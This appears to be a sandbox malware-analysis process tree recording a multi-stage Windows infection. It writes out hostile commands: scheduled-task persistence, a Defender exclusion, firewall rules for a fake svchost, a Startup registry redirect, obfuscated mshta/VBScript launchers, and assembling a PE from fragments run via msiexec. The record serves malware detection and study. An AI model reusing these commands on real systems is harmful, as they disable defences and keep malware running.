C:\Users\Admin\AppData\Local\Temp\is-7NMGV.tmp\F_Ar3NRP59gcBdo_n0Vjasrq.tmp"C:\Users\Admin\AppData\Local\Temp\is-7NMGV.tmp\F_Ar3NRP59gcBdo_n0Vjasrq.tmp" /SL5="$20212,506127,422400,C:\Users\Admin\Pictures\Adobe Films\F_Ar3NRP59gcBdo_n0Vjasrq.exe"5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-BP9QM.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-BP9QM.tmp\DYbALA.exe" /S /UID=27096⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\_fWW6dSYhuSjMpGqvSTa94la.exe"C:\Users\Admin\Pictures\Adobe Films\_fWW6dSYhuSjMpGqvSTa94la.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\t4wdw_PUdAsznFnbTFCwWflo.exe"C:\Users\Admin\Pictures\Adobe Films\t4wdw_PUdAsznFnbTFCwWflo.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\RkfDS1wkUhZjroFZj5lg7EwP.exe"C:\Users\Admin\Pictures\Adobe Films\RkfDS1wkUhZjroFZj5lg7EwP.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6320 -s 2883⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\Q3aNO19DsWiTG2a20Ml5hgM4.exe"C:\Users\Admin\Pictures\Adobe Films\Q3aNO19DsWiTG2a20Ml5hgM4.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6304 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\JeyWSIbS2zPPlM7jVjsfXOL1.exe"C:\Users\Admin\Pictures\Adobe Films\JeyWSIbS2zPPlM7jVjsfXOL1.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\AFGUj2jFQdT0vhNRCxg2qWnX.exe"C:\Users\Admin\Pictures\Adobe Films\AFGUj2jFQdT0vhNRCxg2qWnX.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\xWiCUfEGNV4sdFRFCgW9HwRm.exe"C:\Users\Admin\Pictures\Adobe Films\xWiCUfEGNV4sdFRFCgW9HwRm.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"3⤵
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\ZbYou0qF_muiQJ78MDfvFSZN.exe"C:\Users\Admin\Pictures\Adobe Films\ZbYou0qF_muiQJ78MDfvFSZN.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\e5_81ErJn0Ym93PqhrkGr7i3.exe"C:\Users\Admin\Pictures\Adobe Films\e5_81ErJn0Ym93PqhrkGr7i3.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\ds96Q0O2hYsaSFPFSuR7FFon.exe"C:\Users\Admin\Pictures\Adobe Films\ds96Q0O2hYsaSFPFSuR7FFon.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\RVZgFGKrpodjmOyxTxoCY0PC.exe"C:\Users\Admin\Pictures\Adobe Films\RVZgFGKrpodjmOyxTxoCY0PC.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 4484⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\OcwALJ_vaNOQeZJkOk51i7uB.exe"C:\Users\Admin\Pictures\Adobe Films\OcwALJ_vaNOQeZJkOk51i7uB.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\4559574.exe"C:\Users\Admin\AppData\Roaming\4559574.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\7659040.exe"C:\Users\Admin\AppData\Roaming\7659040.exe"3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\3817248.exe"C:\Users\Admin\AppData\Roaming\3817248.exe"3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\2229674.exe"C:\Users\Admin\AppData\Roaming\2229674.exe"3⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\6965319.exe"C:\Users\Admin\AppData\Roaming\6965319.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe" ) do taskkill -im "%~NxK" -F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "jNA0IsjsQAutlsI9V9Zt01fZ.exe" -F5⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\X2gXy8LCNWLuqkou2FagCvPP.exe"C:\Users\Admin\Pictures\Adobe Films\X2gXy8LCNWLuqkou2FagCvPP.exe"2⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--b78Osr"4⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7fffd481dec0,0x7fffd481ded0,0x7fffd481dee05⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff7eaa69e70,0x7ff7eaa69e80,0x7ff7eaa69e906⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1756,2127832585137907279,2928843891839829288,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7220_873935271" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1768 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1756,2127832585137907279,2928843891839829288,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7220_873935271" --mojo-platform-channel-handle=1816 /prefetch:85⤵
-
C:\Users\Admin\Pictures\Adobe Films\kumYLzCG2ehUAJWkmvsWzAp4.exe"C:\Users\Admin\Pictures\Adobe Films\kumYLzCG2ehUAJWkmvsWzAp4.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\jS2HCNWIivkeoQbQ2iYkljiu.exe"C:\Users\Admin\Pictures\Adobe Films\jS2HCNWIivkeoQbQ2iYkljiu.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r tyPe "C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13bbed6e0bb6.exe" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if "" == "" for %v In ( "C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue13bbed6e0bb6.exe" ) do taskkill -iM "%~nXv" /F1⤵
-
C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIpt: CloSE ( CReaTeOBJEcT ( "WscRiPT.SHEll" ). rUn ( "C:\Windows\system32\cmd.exe /r tyPe ""C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE"" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if ""/pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo "" == """" for %v In ( ""C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE"" ) do taskkill -iM ""%~nXv"" /F " , 0, truE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r tyPe "C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE" > 7DLAd.ExE && start 7DLAd.exE /pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo & if "/pQoSkdkR0zB4x3ysnvq6jrFRpAvzHo " == "" for %v In ( "C:\Users\Admin\AppData\Local\Temp\7DLAd.ExE" ) do taskkill -iM "%~nXv" /F4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIpT: clOsE ( CReaTeobJecT ( "wscRIPT.sHELl" ). ruN ( "CmD /q /r Echo | set /p = ""MZ"" > jo4H.q&COPy /B /Y JO4H.Q + XnY7kB~A.WCr +487fXM.V + CHBTE0X.Zm + oD_N_P5.BfY LeJ9.uX & stArT msiexec.exe /y .\LEJ9.uX " , 0 , TRue ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r Echo | set /p = "MZ" > jo4H.q&COPy /B /Y JO4H.Q + XnY7kB~A.WCr +487fXM.V + CHBTE0X.Zm + oD_N_P5.BfY LeJ9.uX & stArT msiexec.exe /y .\LEJ9.uX4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>jo4H.q"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "5⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /y .\LEJ9.uX5⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Tue13bbed6e0bb6.exe" /F2⤵
- Kills process with taskkill
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5532 -s 4483⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 5532 -ip 55321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3480 -ip 34801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5200 -ip 52001⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5844 -ip 58441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6508 -ip 65081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6304 -ip 63041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6856 -ip 68561⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 500 -p 5804 -ip 58041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 6496 -ip 64961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 6736 -ip 67361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 6876 -ip 68761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 6396 -ip 63961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6268 -ip 62681⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 624 -p 5612 -ip 56121⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 480 -ip 4801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1416 -ip 14161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 836 -p 5380 -ip 53801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 6832 -ip 68321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1600 -ip 16001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5388 -ip 53881⤵
-
C:\Users\Admin\AppData\Local\Temp\8393.exeC:\Users\Admin\AppData\Local\Temp\8393.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\8393.exeC:\Users\Admin\AppData\Local\Temp\8393.exe2⤵
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 7948 -ip 79481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 884 -p 8060 -ip 80601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 1556 -ip 15561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 6320 -ip 63201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 2200 -ip 22001⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 956 -p 8832 -ip 88321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3332 -ip 33321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 924 -p 8320 -ip 83201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\212C.exeC:\Users\Admin\AppData\Local\Temp\212C.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5544 -s 2402⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 908 -p 9044 -ip 90441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6904 -ip 69041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 6900 -ip 69001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5544 -ip 55441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\4D8D.exeC:\Users\Admin\AppData\Local\Temp\4D8D.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4D8D.exe"C:\Users\Admin\AppData\Local\Temp\4D8D.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\4D8D.exe"C:\Users\Admin\AppData\Local\Temp\4D8D.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8320 -s 18882⤵
- Program crash
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10588 -s 4483⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 10588 -ip 105881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8320 -ip 83201⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2008 -s 4523⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 2008 -ip 20081⤵
-
C:\Users\Admin\AppData\Local\Temp\23D9.exeC:\Users\Admin\AppData\Local\Temp\23D9.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\6538.exeC:\Users\Admin\AppData\Local\Temp\6538.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11076 -s 2442⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 11076 -ip 110761⤵
-
C:\Users\Admin\AppData\Local\Temp\7FD6.exeC:\Users\Admin\AppData\Local\Temp\7FD6.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10024 -s 2762⤵
- Program crash
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 940 -p 5980 -ip 59801⤵
-
C:\Users\Admin\AppData\Local\Temp\B8C9.exeC:\Users\Admin\AppData\Local\Temp\B8C9.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6212 -s 2402⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 6212 -ip 62121⤵
-
C:\Users\Admin\AppData\Local\Temp\E2B8.exeC:\Users\Admin\AppData\Local\Temp\E2B8.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5152 -s 3162⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 10024 -ip 100241⤵
-
C:\Users\Admin\AppData\Local\Temp\2CD2.exeC:\Users\Admin\AppData\Local\Temp\2CD2.exe1⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\3⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\4⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\5k\5k.exe"C:\Users\Admin\AppData\Local\Temp\5k\5k.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7392 -s 2404⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Assumptiousness\Assumptiousness.exe"C:\Users\Admin\AppData\Local\Temp\Assumptiousness\Assumptiousness.exe"3⤵
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\70B2.exeC:\Users\Admin\AppData\Local\Temp\70B2.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
-
